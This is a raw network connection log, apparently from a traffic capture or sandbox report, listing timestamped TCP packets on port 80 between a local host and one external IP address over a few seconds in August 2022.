Aug 16, 2022 11:05:53.246345043 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246402979 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246433020 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246460915 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246489048 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246517897 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246545076 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246543884 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246572971 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246603012 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246603012 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246607065 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246629000 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246633053 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246659040 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246664047 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246689081 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246694088 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246732950 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246737003 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246761084 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246767998 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246793985 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246798038 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246820927 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246828079 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246851921 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246856928 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246881962 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246885061 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246910095 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246913910 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246942997 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.246942997 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.246970892 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.247023106 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.395684004 CEST	80	49770	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.395863056 CEST	49770	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.396006107 CEST	80	49769	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.397427082 CEST	49770	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.480637074 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.480674982 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.480727911 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.480848074 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.480866909 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.480886936 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.480925083 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.481026888 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.481342077 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.490998030 CEST	49771	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.640002966 CEST	80	49770	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.640034914 CEST	80	49770	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.640058994 CEST	80	49770	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.640079975 CEST	80	49770	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.640197992 CEST	49770	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.643433094 CEST	49770	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.645335913 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.712692976 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.731539965 CEST	80	49771	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.731681108 CEST	49771	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.732634068 CEST	49771	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.859530926 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.859678030 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.860311031 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.883554935 CEST	80	49770	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.977217913 CEST	80	49771	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.982851982 CEST	80	49771	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.982898951 CEST	80	49771	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.982958078 CEST	80	49771	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.982969999 CEST	80	49771	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.983000040 CEST	49771	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.983042002 CEST	49771	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.984886885 CEST	49771	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.986618042 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.075311899 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.198093891 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.198226929 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.198772907 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.222979069 CEST	80	49771	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.410185099 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.970297098 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.970323086 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.970359087 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.970376968 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.970463991 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.970516920 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.971301079 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.971339941 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.972490072 CEST	49774	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.973573923 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.973601103 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.973618031 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.973644018 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.973648071 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.973665953 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.973747015 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.978925943 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.978956938 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:54.979017019 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:54.979042053 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.187484980 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.187545061 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.187585115 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.187623024 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.187647104 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.187652111 CEST	80	49772	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.187705994 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.189296007 CEST	49772	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.197947025 CEST	80	49774	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.200362921 CEST	49774	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.200840950 CEST	49774	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.321044922 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.321145058 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.321186066 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.321218014 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.321346998 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.321396112 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.323858976 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.323901892 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.323941946 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.323970079 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.323992014 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.324018002 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.324065924 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.324151039 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.324202061 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.325254917 CEST	49775	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.329119921 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.329171896 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.329267979 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.329375982 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.421688080 CEST	80	49774	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.430208921 CEST	80	49774	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.430280924 CEST	80	49774	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.430342913 CEST	80	49774	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.430363894 CEST	49774	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.430387020 CEST	80	49774	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.430408001 CEST	49774	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.430444956 CEST	49774	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.432902098 CEST	49774	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.434031963 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.533673048 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.533705950 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.533726931 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.533749104 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.533771038 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.533773899 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.533796072 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.533818007 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.533833027 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.533839941 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.533852100 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.533883095 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.536622047 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.536653996 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.536679983 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.536708117 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.536726952 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.536751032 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.536753893 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.536771059 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.536776066 CEST	80	49773	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.536776066 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.536798000 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.536853075 CEST	49773	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.541940928 CEST	80	49775	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.543659925 CEST	49775	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.551399946 CEST	49775	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.654398918 CEST	80	49774	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.666554928 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.666706085 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.667366028 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.765908957 CEST	80	49775	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.775963068 CEST	80	49775	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.776087999 CEST	49775	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.776200056 CEST	80	49775	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.776240110 CEST	80	49775	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.776285887 CEST	49775	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.776309967 CEST	49775	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.778464079 CEST	49775	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.779709101 CEST	49777	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.898380041 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902450085 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902496099 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902527094 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902542114 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902559996 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.902573109 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902601004 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902628899 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.902630091 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902658939 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902678967 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.902684927 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902695894 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.902712107 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:55.902718067 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.902736902 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.902755976 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:55.993786097 CEST	80	49775	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.007642031 CEST	80	49777	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.007738113 CEST	49777	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.008236885 CEST	49777	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138489962 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138550043 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138576984 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138600111 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138621092 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138624907 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138649940 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138674021 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138686895 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138696909 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138714075 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138720989 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138744116 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138768911 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138782978 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138791084 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138792038 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138793945 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138806105 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138843060 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138865948 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138875961 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138889074 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138895035 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138911963 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.138933897 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138952971 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.138976097 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.139081955 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.139106035 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.139128923 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.139151096 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.139163017 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.139190912 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.139231920 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.236253977 CEST	80	49777	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.240812063 CEST	80	49777	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.240847111 CEST	80	49777	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.240873098 CEST	80	49777	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.240896940 CEST	80	49777	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.240902901 CEST	49777	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.240916014 CEST	80	49777	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.240957022 CEST	49777	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.241003036 CEST	49777	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.243099928 CEST	49777	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.244124889 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370471001 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370511055 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370536089 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370541096 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370560884 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370585918 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370599985 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370610952 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370630980 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370634079 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370651007 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370656013 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370677948 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370682955 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370698929 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370707035 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370722055 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370728016 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370743990 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370748043 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370764971 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370773077 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370788097 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370793104 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370812893 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370815992 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370835066 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370836973 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370856047 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370857954 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370878935 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370902061 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370922089 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370963097 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.370965004 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.370989084 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371002913 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371066093 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371176004 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371215105 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371217012 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371239901 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371253967 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371263981 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371273041 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371304035 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371330976 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371373892 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371409893 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371433973 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371455908 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371455908 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371471882 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371479034 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371500015 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371517897 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371536016 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371556044 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.371576071 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371599913 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.371761084 CEST	49776	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.373301983 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.470840931 CEST	80	49777	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.471299887 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.471422911 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.471900940 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.602232933 CEST	80	49779	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.602379084 CEST	80	49776	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.602418900 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.603425026 CEST	49779	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.699995041 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700023890 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700040102 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700056076 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700073004 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700089931 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700104952 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700120926 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700136900 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700140953 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.700154066 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700170994 CEST	80	49778	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:56.700174093 CEST	49778	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:56.700191975 CEST	49778	80	192.168.2.4	187.45.240.69
